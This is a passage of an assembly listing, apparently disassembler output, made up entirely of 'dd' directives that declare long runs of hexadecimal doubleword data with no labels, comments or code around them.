		dd 570079C8h, 0FE643A40h, 7298EE70h, 8590115h, 0C7890906h
		dd 0C446DCCDh, 0CFCF201h, 0E52D260Bh, 4DF54C4h,	0F17086D6h
		dd 1BF70046h, 58983B3Fh, 5900485Eh, 6DB92EA8h, 0F00A515h
		dd 5BE9AAB2h, 98FA18E2h, 2F9068h, 63A60D2h, 63C965E8h
		dd 0E9F71F01h, 8A18284Dh, 0D8B2A0h, 0C8A255EBh,	0DEF2511Ah
		dd 0C57E8C00h, 394721AFh, 0AEE2B6h, 7A16B50Eh, 0F924653Fh
		dd 0D6C08B00h, 0BD3EF102h, 4BE4E123h, 80260052h, 3BC41399h
		dd 0CE165BACh, 0C0009C59h, 49970483h, 0AE7F91h,	0F61F236Eh
		dd 46CF351Dh, 0F7D948h,	0F4158956h, 1CD2581h, 3F414E74h
		dd 5048E167h, 65F9EA0h,	5800BB7Ah, 653EBFF0h, 0F3C1FFAh
		dd 9A452ECDh, 9B1784E0h, 0A6017D76h, 0E646A74Eh, 0A2E48DD2h
		dd 0ED780323h, 517E95EAh, 0B590E898h, 980030B0h, 39D8FE1Fh
		dd 6DC9F5h, 99B0ACE4h, 28BC8D4Eh, 0B77D60B8h, 0F1942404h
		dd 0F082B50Dh, 4594802Ah, 9C6278h, 0F79AC1D2h, 8FD74BEAh
		dd 0C8E6A824h, 9039C24h, 0D0D3FA26h, 0A0864D87h, 71527C4h
		dd 0CE2E67D1h, 0F780E0F8h, 9307E48Fh, 52AC2224h, 64AB27C0h
		dd 0E1E91E1Dh, 87C000FEh, 7E838D51h, 3C8E161Dh,	0EE813500h
		dd 0BE33ADh, 0A3824B88h, 0AA63CDD9h, 7D009FF6h,	93B228FAh
		dd 27CCFE0h, 0A4203286h, 340A7F5h, 3B07414Fh, 0ED6FFD63h
		dd 409C2A32h, 0FCCC254h, 368E348Dh, 14AA24C7h, 37E0205Dh
		dd 7F000E8h, 981978Ah, 0B3774894h, 440DBF12h, 0B7035C02h
		dd 0F45163h, 7E686CECh,	0BA076EEEh, 900835DDh, 7F6F84C0h
		dd 0FA3E0076h, 0BCCED63Bh, 3C980BB4h, 0B07CDE48h, 3C6AAF58h
		dd 321E9994h, 35DA00EDh, 0DFCBAA07h, 2A727D1Ch,	81940CC3h
		dd 87A4E8C5h, 50F91E55h, 690DC016h, 0FFA2F531h,	0FC3C6372h
		dd 749CC8B8h, 0A9FE2D70h, 0F6AEE500h, 80BC6138h, 45BD053Bh
		dd 7F9601h, 0DABA7A0h, 0EF80A652h, 439A00E1h, 5DCC0C9Dh
		dd 3E013C4Bh, 0EA6CE268h, 25C81194h, 1C0A4804h,	4DC9AB04h
		dd 8A18242h, 0F939FCE8h, 0EB38E901h, 0ED5C6AD2h, 17E3A050h
		dd 5D908E43h, 9D2AB100h, 13D7AAC1h, 179300CAh, 62381D83h
		dd 0FB58DC0Dh, 0F2BC50FBh
		dd 1BFE25h, 0B565DC0h, 58540082h, 9732CB4Dh, 0E62EABE4h
		dd 0F500E8F4h, 8EA60370h, 8BC70ACDh, 0EF6FD9h, 9E2B55E8h
		dd 1B24FA92h, 0B103F45Ch, 0A29F2h, 31F41C38h, 0B9EB2B4Ah
		dd 37231F00h, 30C085A0h, 0BF4C009Eh, 0F7E76F04h, 0D8CB1DD0h
		dd 6DC480C6h, 124826h, 3016C1DFh, 0F58A792Eh, 2969900h
		dd 956B197Eh, 883201D0h, 8F112C71h, 84FCF8C9h, 40076890h
		dd 0F9F351E8h, 9EBF3BA0h, 0D0215007h, 0A95F1E33h, 40FB6065h
		dd 0DFEDD398h, 9B2D9C05h, 12FAC10Dh, 44D04A3Ah,	1DBD01D4h
		dd 7079DBA5h, 0C701500Dh, 0DA574158h, 24EC2909h, 9A020A3Bh
		dd 84D05AAFh, 0D327B3h,	0F2CFBD6Bh, 47B100E2h, 84312CFCh
		dd 0D1091E56h, 0C081272Eh, 903FBBA8h, 8A20594h,	8639D9A8h
		dd 3B00A938h, 41BE2EC9h, 353742Ah, 0ACDD71DEh, 0B99A4C38h
		dd 3843E884h, 1E9F8851h, 15317602h, 60BA2299h, 27E51090h
		dd 64889368h, 0B792398Fh, 0F7384FE1h, 3CCD2BEh,	6479D4E4h
		dd 5D9D2900h, 686005A2h, 749E0084h, 12EE03E1h, 44005780h
		dd 56F74F32h, 1F467F18h, 80DFBECBh, 0A2601A96h,	81029A2Bh
		dd 90341E86h, 7C74C9h, 97EF6DFBh, 5809A310h, 0A9D0E709h
		dd 28258030h, 0FAA10822h, 0E1960076h, 0C9E93A37h, 0C2986294h
		dd 7A99FB00h, 6FC3B592h, 28F67447h, 0EFC44361h,	93365670h
		dd 5DE48594h, 74DC0E52h, 1BA9A700h, 2A126AC3h, 94001529h
		dd 5EC77C95h, 8F602E4Ch, 0AE6D0BACh, 420EB840h,	17B61920h
		dd 4060C0F0h, 0EB5AA57Ch, 0D042488h, 0D3BF2675h, 72FCE200h
		dd 130032ECh, 6A1F5863h, 0E1E8AEBh, 0A8F70D9Ah,	80EFCA20h
		dd 660038B8h, 79F68464h, 147C9Ch, 8CC6A109h, 812F326Dh
		dd 0B8B0A8B0h, 8070A304h, 0ECC008CFh, 272D6578h, 6B7439DBh
		dd 8D38B400h, 4FD9FDh, 850FDE7Dh, 7BB13CCEh, 8013DF3Eh
		dd 0C758B86Dh, 2742AD3Bh, 0C060B9A7h, 5F002CFBh, 0ACF68880h
		dd 679B47h, 172A75BEh, 0F3111F2h, 15C10200h, 85DCE99Ch
		dd 696072Ch, 491FF6h, 66FA50B9h, 0E2BE141Eh, 0BCE84384h
		dd 58D23880h, 0C8CC5994h, 0B4BA9C80h, 0B6007FDEh, 936482CBh
		dd 94EA5CCh, 2A4FD22h, 0C287F0AFh, 0DE33C072h, 0E60096C4h
		dd 0B490EBE2h, 5BEC232Bh, 0FC8802A1h, 20F024A7h, 933B8518h
		dd 5A15041h, 3341BC2Dh,	86108087h, 0AE00B3CCh, 0B7DF7AC7h
		dd 38758DD1h, 8F0FA8C3h, 0E365F9CDh, 0E688043h,	28904FBFh
		dd 0DC8CD100h, 8FB7C6DDh, 89C41EF2h, 4C7A4C95h,	0DE045C20h
		dd 17BAA6B1h, 0F1A17A83h, 0D1D0AF73h, 789D0162h, 94720D3h
		dd 0A5883E4h, 0B817AD52h, 2EB19659h, 37E5C75h, 0D6625A6h
		dd 0AC30C800h, 7E032965h, 9597015Bh, 0BA87094Ch, 7D8381Ch
		dd 0FAEBA5D5h, 186C8330h, 23D32E3Ch, 0DC088410h, 29D8D0F3h
		dd 0C813E85Eh, 0D002F2DBh, 7A2569DAh, 0A1440080h, 0F0B8B795h
		dd 0B40F96CDh, 691778E6h, 0DC4882ABh, 54C820FCh, 0CF3E213Ch
		dd 4D3D60h, 0F9F61220h,	60DB1B02h, 75FF291Fh, 0C700FC31h
		dd 0C586F06Fh, 0DE3D73h, 9B7A64D5h, 85AF7E13h, 4BD8F839h
		dd 0EE004013h, 0F543423h, 0C2F20026h, 163B28Ah,	0CA251982h
		dd 8340E831h, 0E624035Ah, 7348C96Eh, 5CA4C0FCh,	0EA980B26h
		dd 0C83D5600h, 0F25AC52Dh, 0B49AEFh, 824DD6F5h,	44FF0C5Eh
		dd 0C74C2300h, 9A5B4E64h, 43AC0947h, 5413E70Dh,	0FCD9BEB9h
		dd 64962871h, 68FFCB00h, 0FA7721h, 0ADF3D688h, 0D136ACF7h
		dd 81009490h, 0C87B4C0Ch, 37447DAh, 6F560A13h, 308023ADh
		dd 9100C9B6h, 0B33FD29Eh, 3E869A1Ah, 6300F362h,	17BFC21Ch
		dd 0A8002CF1h, 0A32BB2A1h, 7965FEDh, 63977BBCh,	0F08D8036h
		dd 0E7005BB8h, 4671D38Eh, 0E46F68h, 5147CE0Fh, 5F1CDA1h
		dd 0AC64C42Eh, 4E6AC200h, 771AAE84h, 399B0249h,	0BD02CFF0h
		dd 0FF004454h, 84945B48h, 0B3903CDAh, 61A24B80h, 250E7B2Eh
		dd 1E133D03h, 98B8E9D5h, 24891D8h, 73CA0B82h, 98C8744Dh
		dd 9202E872h, 3C4C5B0Eh, 0E6FC40BEh, 0EE9044E4h, 0A3A0A200h
		dd 55AA207Fh, 80691F7Dh, 57303298h, 4F263850h, 0C18BC406h
		dd 1CD440F3h, 271EC91h,	0ECA3A801h, 98709BEEh, 9ABAD00h
		dd 9E42CE93h, 147A00C0h, 0B226B0Ch, 76002477h, 953A2AF9h
		dd 654591h, 0DF06318Fh,	0FEAF51FDh, 67FAB200h, 4D2A7354h
		dd 0B0201639h, 32C400Eh, 0D2959F88h, 0C89EAA3Dh, 50203Ch
		dd 0FB4A4E33h, 6FB5DE61h, 0F28C0205h, 8CD01B6Eh, 0D2EF8546h
		dd 61C80088h, 0A445F805h, 3D1F5113h, 77794100h,	0AEAA80h
		dd 0E7EC6A65h, 0D0E96FFBh, 873A331Fh, 0FD96F8C7h, 5873BE10h
		dd 0B1FE5E27h, 6AEF2091h, 0D8B5240Bh, 80E40F64h, 39B8B667h
		dd 65D600D0h, 0D5749140h, 7D079321h, 1BF2EE12h,	0CDF1FAC0h
		dd 9B5E0057h, 4E3F85BBh, 170EEFA1h, 809AFF83h, 0DB32DFA8h
		dd 62BB0F63h, 380773Dh,	0FBD90852h, 6FD84900h, 94CAAAEEh
		dd 0DAC5075Ch, 50DF3961h, 8EFF0456h, 3C65F600h,	9B1BD24Ah
		dd 49AF01E0h, 114F9FDCh, 0F7F4C014h, 9E001DE0h,	0B518BD76h
		dd 85CCA4h, 711B808Ch, 46DF6057h, 8E24FA4Ch, 4F5620BAh
		dd 3B23E41Ah, 7C83FDAEh, 4D5AD5A3h, 0EB40AEFh, 8882E76Eh
		dd 0F480A525h, 802DD11Ch, 758C2700h, 0D9D0DD20h, 89A3049Eh
		dd 0D1840CD4h, 7736AE24h, 0FE410FD4h, 89E8CB2Eh, 2F1C2190h
		dd 0B0751C04h, 4EDCEAF9h, 155307F4h, 0E05E5284h, 0D5285022h
		dd 0DF55BC3Fh, 0B2D75000h, 174F6Eh, 9A61584Ch, 0A58BFDB5h
		dd 107BB25h, 0C006663Ch, 0F600646Ch, 3F55DE1Ch,	44005CA7h
		dd 0AA352101h, 7E49DF7h, 0BA05A43Ch, 0DC88AD71h, 0E90E918Dh
		dd 80E333F9h, 96BEBF32h, 122F27Ah, 0A2F8B5Fh, 0F0E48A6Eh
		dd 0E70055B7h, 96E21FBCh, 4D5208h, 9D979919h, 0D9F088DAh
		dd 1CB5EC00h, 8265BE86h, 5B75003Eh, 0DF6451Dh, 98A0F11Eh
		dd 1C2667A8h, 12002260h, 0C1E56DAEh, 0F5EC1Fh, 7DE633ADh
		dd 0F6E2201Ah, 50243B00h, 3EB0BE4h, 0C15400CDh,	0CEA71834h
		dd 0D65D6AE2h, 48082C64h, 0BCAF8205h, 3B0B1CE3h, 0FCC52589h
		dd 6C9CE140h, 0F078E155h, 0DF1CAE02h, 0A8407D36h, 9FF3C6h
		dd 0BC6A342Ch, 982EB0CEh, 0F5B7137Ch, 0AC2440BEh, 8C051090h
		dd 86EC3A03h, 0D871943Bh, 3F0ED372h, 0F3B07E3h,	16DCF8Ah
		dd 0B0F580F0h, 8F6082CDh, 0AF9CD400h, 0DDCFDC5Fh, 750A1F40h
		dd 462680F0h, 0BF7696A1h, 6CF492B8h, 234B290Bh,	287B87DDh
		dd 4DE46970h, 9DA00025h, 60BA935Dh, 0F73FF811h,	66B2006Dh
		dd 203FA2F1h, 5D19151Bh, 0B603FC8Ch, 4817C9BCh,	49DB2C0h
		dd 97B1F40Bh, 77AE80EBh, 0F4B37A5h, 4D69B486h, 0E8C0A220h
		dd 0AD48B7ABh, 0BD1C7DE8h, 410E4589h, 2B5EB18h,	799FF253h
		dd 1C46DE00h, 0B4D81701h, 0DBD32A3Dh, 0C921C4A0h, 0DC9E8A7Eh
		dd 4F683360h, 3C0F26Fh,	247B598Bh, 48B84D97h, 0A4001971h
		dd 1DFFF182h, 102ECE7h,	52B5262h, 0F8795978h, 0E916AA71h
		dd 0E0000484h, 7616985h, 83400172h, 5FB5176Fh, 0AA94C8C3h
		dd 8DCFFB1Eh, 7440FC53h, 2829DEE6h, 51173ED2h, 0CD46BC89h
		dd 2EB2CE0h, 49609D04h,	0DC80A54Ah, 0E52B608h, 8A97E776h
		dd 0B3270321h, 0DCF82845h, 0A1A27F02h, 74F2EDh,	2EBA6194h
		dd 0D3FFB5AFh, 2A818F1Dh, 39CB6387h, 0ACFA3DB0h, 64950085h
		dd 2ED26BDAh, 0A201496Ah, 0E879BA9Ah, 0E469C8A8h, 5062F207h
		dd 5967B011h, 97005C47h
		dd 0E42AF44h, 0E2749C99h, 98780773h, 0F0FE3BCBh, 0FAB5C4DDh
		dd 0A0C37213h, 0BAB110C0h, 0CC1C05F9h, 808F6439h, 79A12EA6h
		dd 80DF503Ch, 2DCA4F6Dh, 18E03ADh, 222F11BFh, 606F5D85h
		dd 0B61F4AA4h, 84062ECh, 215319Bh, 36FB1E89h, 0B3006072h
		dd 2EB5C38Eh, 73C8210h,	3F71284Fh, 0CBDE370Eh, 1636FC22h
		dd 9C8A1880h, 893A079Dh, 5FB16A4h, 0AEEC57C5h, 0A1E6CB07h
		dd 84E4206Ah, 58005794h, 2D7FED6Dh, 1E9CC279h, 0C0F675B7h
		dd 52AF8526h, 0EBFE6F05h, 3D723B01h, 751F2857h,	3CC413Ah
		dd 0DA891721h, 0F7C84C63h, 0CE0EA22Bh, 72A64D36h, 0A080711Fh
		dd 65D9FBD6h, 0C3554E4Fh, 0A047861Ch, 9A700C78h, 30D9BDh
		dd 5F7A2BC7h, 28D4196Ch, 21FFC000h, 0A4EF9E1h, 0CCB200B3h
		dd 387B29D9h, 0EF07F14Fh, 2F6A7D9Ch, 0CAFC9960h, 0ACC500F2h
		dd 0C41E8055h, 3E003AE8h, 0FB20B4D1h, 3DA0F8D0h, 7B07B6A4h
		dd 83F6961Dh, 1FF8C354h, 0C003DA79h, 0C8F97DC4h, 0E3F0C74Ch
		dd 0F06B72B0h, 0F73A003Bh, 0F8DA6528h, 0EF000366h, 0A3AB64D4h
		dd 0C0E37BD1h, 81A4FDD1h, 0CE007CD9h, 5734F31Eh, 0C9640Ah
		dd 9895F118h, 8C065893h, 8AF6ED3Fh, 80D2A7CBh, 0FB2C8638h
		dd 48B7E2h, 95C1E88Dh, 5E28F886h, 1DED710Fh, 0C860E04Ah
		dd 0B1E734h, 1FE1E99Bh,	0D9E3BC73h, 0FF7BB818h,	7057C989h
		dd 71840079h, 9D7747CDh, 0CF005FECh, 0F642FB63h, 327E9EEh
		dd 0A5231F37h, 95E8AA55h, 3F00B196h, 60CACE34h,	1154D9Dh
		dd 3D3C8EBAh, 2A62B6C0h, 3E0F7800h, 2E77237h, 874F1EC9h
		dd 0C0D5D6F8h, 0E34256Bh, 23EA11C3h, 883BA924h,	0DE0033A0h
		dd 9F6E36F4h, 3F63918h,	0B6F1CB8Dh, 5906B38Ch, 297C4625h
		dd 6376C9h, 0D5093D74h,	0C3A3C147h, 463A2B00h, 43B2240Bh
		dd 0E84B0070h, 8E5EB99Dh, 2800D9F2h, 0DC9B8225h, 3FEB1F5Fh
		dd 54800747h, 8132934h,	0B500D89Ch, 71A6E92Bh, 3E897088h
		dd 3F0CDCE8h, 9118FD5Ah, 0C38C0F02h, 8C9422A4h,	2C4D18B2h
		dd 3DD9706h, 1172C65Fh,	0AD0010A6h, 8B6356FAh, 331783FBh
		dd 0B908B3A6h, 34C2100h, 44F12756h, 6BAB07EBh, 0B30984h
		dd 0E55DD61Eh, 133CF506h, 2305A47h, 0AF95F0Dh, 88877F6h
		dd 29D100FDh, 73AADFDCh, 8D71433h, 0D421008Dh, 3C63D1DBh
		dd 0F4339DC6h, 0A19B1994h, 0B6D4E1D7h, 1B52B820h, 0D0A1FB61h
		dd 3D0C823h, 8B6D56FCh,	20B062B4h, 7156054Ah, 0DDE55301h
		dd 5C9DD790h, 97F95880h, 7C29370Eh, 576E10C2h, 0BABBE073h
		dd 0DD120011h, 6CED593Ch, 7E744D80h, 15130A00h,	0F59632A0h
		dd 0AEB3000Fh, 5810407h, 0E300472Eh, 0B5B3DDBh,	13DA4918h
		dd 84ACA9h, 0DD8AD37Fh,	0E011E31h, 95F386FEh, 0C32CFB0Ah
		dd 0E319DE00h, 0B52DD9A3h, 2C1A9900h, 0AA4F46E5h, 8A811E2Ah
		dd 80F8224h, 0C78F0314h, 2DADD460h, 580036DBh, 0E4236054h
		dd 723F2570h, 1DF50FC8h, 0EC2EBE8h, 2360C2B1h, 4A004501h
		dd 4C9A3C25h, 1AD997h, 1C09B5FDh, 79FCEE4Fh, 11844D00h
		dd 0E945DE21h, 0D97800B3h, 7AF2BFCFh, 2B003E6Ch, 55594D20h
		dd 0CB6D95h, 0D36FD92h,	3E3BB77Eh, 0A12F7A00h, 0C3D9FF3Ch
		dd 725B00AFh, 7EC6C09Ch, 5F054A30h, 0EE0725FCh,	93E440C0h
		dd 0CAA8F2C5h, 5504FDD0h, 362900DCh, 9AB55F77h,	3CA72B5Ch
		dd 60249FF8h, 625C100Bh, 0CF04D1C0h, 6622E396h,	2303A680h
		dd 9C7E0659h, 285204B9h, 42FA9E22h, 15F7112Fh, 11055511h
		dd 2B21F6D4h, 0BE7AB208h, 0F1E411C2h, 1125D711h, 6D218921h
		dd 0DE1BF704h, 828F30Ah, 89906B01h, 291A3E86h, 6128BF50h
		dd 41A514A1h, 94138E64h, 1128BB29h, 21217D9Eh, 98EFB408h
		dd 8AD029A7h, 0E325DA13h, 2100ACE8h, 6298786Bh,	2E005673h
		dd 0ED07B08Fh, 0ADF8C7h, 0C2B66063h, 0EAF0CB45h, 0CE137A00h
		dd 0D27750CDh, 68EF000Fh, 82B49D5Fh, 8600486Fh,	8C9B1262h
		dd 9A292h, 3621C8F2h, 582E3545h, 0D00BBF0h, 75FC7789h
		dd 41B41Ch, 9BD3C316h, 0A7E4A649h, 7723F716h, 2B9A5F00h
		dd 1FFF115Fh, 438BB4B0h, 877D5AF6h, 79CA2398h, 49F45C00h
		dd 45959441h, 7549AA2h,	3D5E0F21h, 510A63C4h, 763B5800h
		dd 5DC7CEC3h, 639F000Ch, 7977F3F1h, 0D8014573h,	0A5A678B6h
		dd 68807F5Eh, 0F8840A10h, 0CD00B293h, 1B17F314h, 99FCA92h
		dd 2B43DD35h, 52B04400h, 58004272h, 0E39CE8E1h,	2D8ABAh
		dd 793ABC0h, 0E59E30C7h, 82872F00h, 0CEF0B86Bh,	136C1C0Ch
		dd 3F374098h, 3A077AEBh, 7B402C1Dh, 519185C0h, 0FC6A2B59h
		dd 41E300FCh, 0B0530D44h, 5F00D7CBh, 337204E1h,	8128E5h
		dd 0CA1AC53Fh, 0BD57C116h, 0BEBBEC00h, 29263AEEh, 0C211D2Fh
		dd 31384389h, 0F1C89DD4h, 2E00BC23h, 306D5E9Ah,	6B33ABh
		dd 0E1D989B5h, 16F38583h, 7B072876h, 6893C9C2h,	0A0FDD6B3h
		dd 1F9AE7DEh, 0C81A6h, 71A6E5Eh, 0D048990Bh, 0F5DF03CCh
		dd 0D5CCAE68h, 80F485C2h, 412755E8h, 103A00A5h,	0DEEB28FFh
		dd 0DF1F62CDh, 0CE0004A8h, 83FCB163h, 0A9B000F9h, 0D25DB66Bh
		dd 0F3006445h, 61BC20EFh, 52DEE3h, 4129BE6Eh, 7EE6111Dh
		dd 799D3Eh, 6B16435Ch, 772F86h,	0D79B9959h, 874B428Dh
		dd 66205700h, 6DBD56B9h, 2C87925h, 5E2228CBh, 2C68E834h
		dd 60916006h, 6068A00Fh, 0FE2B0745h, 0F1370C2Dh, 771044E4h
		dd 0D8F87B00h, 847E46F3h, 0C3AB3F35h, 2E070C3Bh, 0A088E336h
		dd 5BCBD89Ah, 2C270703h, 0A0E96E93h, 329A64Eh, 81D1EDBCh
		dd 90A3EABBh, 0AC3A42F8h, 764A7300h, 82245F96h,	9B6D006Ah
		dd 603346DEh, 5900EEDFh, 2EBD1720h, 3D80F87h, 98C35DD9h
		dd 16F8D46Dh, 0D104E5DAh, 0B67257B0h, 0C20A2EC1h, 6FC848FDh
		dd 0EB6E14CCh, 0AB00D4D5h, 0DBD20D04h, 0B426D6F7h, 99007106h
		dd 1F79E58Fh, 0A0D400BCh, 0EDECA20Fh, 0CD7F455Ah, 901CE300h
		dd 0C4759FB0h, 208E010Dh, 0FB014E6Ch, 4DD4502Fh, 53475A67h
		dd 3021E800h, 0E5A23A0Bh, 12616500h, 70E056A4h,	23ED00C2h
		dd 0D4A8E137h, 0A7006FBAh, 0DEACA8Bh, 716526h, 0B2FF63D8h
		dd 0CF603B9h, 0E9FEECA0h, 686FC08h, 0F7D50FB5h,	0DD766260h
		dd 0A97C23F2h, 0DAF0800h, 0F0ED1A0Bh, 380300ACh, 27BF776Fh
		dd 0C8015419h, 0E166E39Bh, 0FE71A62Fh, 0E8BC5D8h, 0A9425E24h
		dd 840C0032h, 8D6353DCh, 30415800h, 0DA18B064h,	0CEA26668h
		dd 60F680B7h, 809D9739h, 0BCE4FCB9h, 140F77h, 0AEEE634Dh
		dd 62A9457h, 0BF13F418h, 39EF8678h, 0F9264278h,	0E56F042Ch
		dd 84A2042Ah, 40C76488h, 63735FF0h, 103CFC00h, 0E41D6B79h
		dd 0F2CAA045h, 8F5D012Dh, 0EBC6D566h, 1CE03B5Fh, 530614D8h
		dd 9E00F8D9h, 74C9E2E4h, 9CF71B58h, 0FA39B938h,	5D459603h
		dd 50F9EF91h, 0C7A5598h, 0B21BFA5Fh, 0E50EB540h, 4188B035h
		dd 3A02F32Bh, 0F8F63FCh, 11013CE8h, 0C0CDC507h,	80E5197Fh
		dd 93137E00h, 0CE2FF938h, 92EB00C2h, 0C00F4BFDh, 0C400CBB2h
		dd 0BD590179h, 1D5D76FBh, 0D31E40h, 0E3ABC1E4h,	7D002B19h
		dd 351A0E79h, 22CFE0h, 0F232884Dh, 0CDE9A6F5h, 504C7026h
		dd 0D93CE1C0h, 9E9A00CBh, 0AA5B761Ch, 0AB006FB2h, 43E39796h
		dd 1BF44EEh, 13A6B867h,	0F2627A28h, 7C239080h, 51007B65h
		dd 1EFCCF3Fh, 3C0B31Ah,	0A650DD7Dh, 97906334h, 5207799Ah
		dd 1C258CB2h, 590D8170h, 263CF457h, 12680772h, 0C75404C6h
		dd 308887D5h, 0D350B2EFh
		dd 0C8E85100h, 872C296Ch, 8E710096h, 0B20D93E1h, 0FE604F18h
		dd 31C28518h, 0B14E1D38h, 29C681EFh, 0D45907B7h, 140043FEh
		dd 0F7A8CE5h, 3E015AE7h, 9DCC3E2Eh, 4FCE405h, 9D46805Dh
		dd 5307224Ch, 0C49FBF01h, 32393170h, 0A80848F3h, 40B8741Fh
		dd 0E0A50294h, 7D03F706h, 0F948B116h, 0E95C802Ah, 0E151005Dh
		dd 0D70D90EAh, 8F0011B5h, 0DDEE05B6h, 2C1A73h, 97F0CEE4h
		dd 0B063319Eh, 0E1DEA103h, 0D092C5F6h, 0F9361ABh, 0A730257Bh
		dd 0D72E39A1h, 0E0636Eh, 0DBFE4C36h, 42A858h, 45B76B37h
		dd 96B52DA9h, 7277C00h,	584101B1h, 0E63D00A6h, 7B8E4DE0h
		dd 900D6F2h, 0F8A05BFFh, 943CC655h, 0C0B51C0Ch,	0C3CB8E6Fh
		dd 0D6092A30h, 0E614B7h, 58D3FACAh, 9EAB0E68h, 9F7DC60Dh
		dd 806426C9h, 70BE433Dh, 74012AE6h, 2785121Dh, 0E440ECB3h
		dd 919EA321h, 0E496CCh,	0FCCE42DEh, 5A395B15h, 35A50970h
		dd 9F1180CBh, 1D0DCAh, 3302B51Ch, 80FBE205h, 1E00E798h
		dd 0AEA3CC57h, 7C7ECB6h, 472DE0DDh, 0DE5810C8h,	9600EA92h
		dd 0CFBDCCF9h, 0A0F52131h, 0F79B7ACh, 0ACCB6C08h, 398D4CCh
		dd 0CE158F00h, 0FE644C91h, 0B6502C31h, 0FD003D48h, 364AFB07h
		dd 1000418Ah, 78B7836Bh, 3B9C9DAAh, 12F5C526h, 9B5945h
		dd 0E77D411Bh, 5C031E5Fh, 550A9088h, 0FA5BB078h, 7BA30040h
		dd 0B831CDEFh, 2D002470h, 499EB684h, 5C4DD4EEh,	0BD002C40h
		dd 0C9637636h, 6A037A4Ch, 708A7ECh, 3CCFF00Ah, 8E871F66h
		dd 2F5D14h, 9A7ADE16h, 2800673Ah, 0E2BBDCA3h, 3F17918Bh
		dd 0C9805B47h, 0AE19C4E1h, 0D6002F98h, 939DDBE5h, 438652h
		dd 7C6964E3h, 0A08ACAB4h, 3081602h, 0C055AB3Ch,	792083D4h
		dd 607501CCh, 4C78EE7Eh, 0C57C606Ah, 191D057Ch,	0AF8BD6ACh
		dd 0F0701B1Fh, 0E15556Ah, 14F3DEE8h, 9C457BFh, 0EB805888h
		dd 449C30C8h, 6CA4EC0h,	4F96A0h, 9F4D732Ch, 78BE502h, 881A3B01h
		dd 0DFF60695h, 4A7603E0h, 48140027h, 4169075h, 0C21F96F6h
		dd 93800A4Ah, 615D30F8h, 58CB7F1Eh, 0E0130880h,	90C2007Eh
		dd 0E7DF4F3Dh, 337B5800h, 0FC100A2Bh, 0A6B8CCh,	7D1612AAh
		dd 0A7D6E095h, 8E48C500h, 4A72852Ch, 7561005Ah,	707C412Ah
		dd 2890D818h, 1779A00h,	62D6D9F5h, 8DD15CD4h, 0FA778B3Dh
		dd 211B00DAh, 0A10BF548h, 9100E287h, 0CECC11FFh, 0C9F668h
		dd 2FA4B147h, 4B790DFh,	826580Bh, 44A8A0F2h, 4CE0E19Fh
		dd 0F71D6CBBh, 0E33B80AAh, 0D42B7D79h, 3C853E00h, 42BAA263h
		dd 0B1A7000Ah, 2D92EDD8h, 0E0588B94h, 0FF73007Ch, 0E8FEADB3h
		dd 4A880052h, 5EA59DDCh, 0CF142647h, 0DD0866h, 0E2450A27h
		dd 342F535h, 829B37FBh,	0EEB88A3Fh, 0B1002029h,	0C477DD45h
		dd 0E844CFh, 0F2341030h, 241D4A43h, 0AC9A2E00h,	802939C8h
		dd 0FC5F0701h, 0DEEA7450h, 642A9100h, 0F101A85Eh, 0C2325D55h
		dd 35CC65CAh, 9EDB0E1Bh, 63414B6Ah, 60B534F2h, 1303889Ch
		dd 0EED87DB9h, 22F9884Ch, 3DF4FFCFh, 47660115h,	5F04C209h
		dd 9FC07B3Eh, 2A6A7Eh, 0C3528193h, 379529FAh, 0A79DFF00h
		dd 0B718D016h, 678209B4h, 58486E70h, 0EA01B390h, 81A5E5D5h
		dd 0B82CEE5Eh, 0E1A46C00h, 0D64AC545h, 71984616h, 122F2003h
		dd 6D7E9037h, 0B09D0394h, 9AD951DAh, 2A89C6E8h,	0AEBF616h
		dd 0E2042B00h, 0FA1FFE7Dh, 0A1AE0B9Bh, 2F0060B4h, 1E73E9B7h
		dd 86E32B3Fh, 13349AB6h, 77B90078h, 76FD7482h, 5C002937h
		dd 0D87B741h, 143020h, 0A4BC1CDBh, 1FD3B68Dh, 6B001BEAh
		dd 674F5F27h, 0E4D808h,	74A94BEEh, 47095476h, 8BC85E13h
		dd 0B9E7FA00h, 48CDFC24h, 700E247Eh, 0A100AC0Fh, 0F6F231CCh
		dd 0C36AA800h, 0D14D9B7Ah, 531D015Dh, 9587633Ah, 0B426E4E5h
		dd 0DEB9D507h, 9D908E7Ch, 224B175h, 43EC99BAh, 9040D968h
		dd 0D100FA8Ah, 2A5B5E0Fh, 599621Ch, 3BF8D6C1h, 0E2009007h
		dd 0A300B90Eh, 145E2AB7h, 6EF62B3h, 5DB80B76h, 4C784860h
		dd 34D4C004h, 0C580B506h, 2E1673h, 0EBFBB48Fh, 0C7971463h
		dd 0E11C6EE8h, 0A003D98Ah, 80DC6461h, 313C01E7h, 8F1022Bh
		dd 38ADF486h, 77B77407h, 8BE030EFh, 2618F2B2h, 60F494h
		dd 750EDAC2h, 9E00F8DDh, 9621683Ch, 8A8664h, 0CD495273h
		dd 0E86BE912h, 0A8D1C030h, 9A690C72h, 42C90008h, 0E4B7F1ABh
		dd 252C1FBEh, 8139C084h, 0A5079922h, 5828B6ACh,	0B4BC6004h
		dd 13FC80FEh, 0AFA001F3h, 0B33E654Bh, 954A8027h, 0A37334A1h
		dd 0C00F002Bh, 0D5ADD4F4h, 0DB7741A9h, 1868B900h, 0F73CFFE5h
		dd 429A07C6h, 0F31DB022h, 8CB2E137h, 7FC867C0h,	8F564507h
		dd 9200B643h, 18BF4E3h,	28C34E14h, 6045233Dh, 6F0048D9h
		dd 0F5BDFCD8h, 0B18950Dh, 7B6A89CAh, 43551800h,	0D97F0FA1h
		dd 0B9A4A700h, 40A8BDE2h, 229962DAh, 25C0EDE0h,	40F182AEh
		dd 0EC5931B4h, 5614107h, 0D140DF4Ah, 0B0F6EE57h, 0A9540038h
		dd 0BC9D244Fh, 564831D3h, 2E2A0044h, 453DDF30h,	44410064h
		dd 13B52C6Ch, 0E80F6257h, 20494A51h, 0D88E3928h, 3DF2005Ah
		dd 0F5912D1Bh, 0E900DA33h, 567C76C7h, 1812902Eh, 0F89A9252h
		dd 5C4BD110h, 828CAC40h, 0B8601DFEh, 0AD2A0CF0h, 3387770h
		dd 0F6848800h, 9A32B359h, 8D660044h, 8CF964CEh,	0E00FAC2Ch
		dd 0C033B29Fh, 0EE3B17E1h, 6FC413BBh, 0A86441E7h, 78343CEBh
		dd 3C3E266Ch, 331C3F0Fh, 0FCA63441h, 9038CC31h,	0C7893201h
		dd 40094CDEh, 7B53D48Bh, 7FE28218h, 26E840h, 1599CD44h
		dd 0D0CEFA16h, 12AB6501h, 54B9F892h, 0E249DCh, 7D9DAEBBh
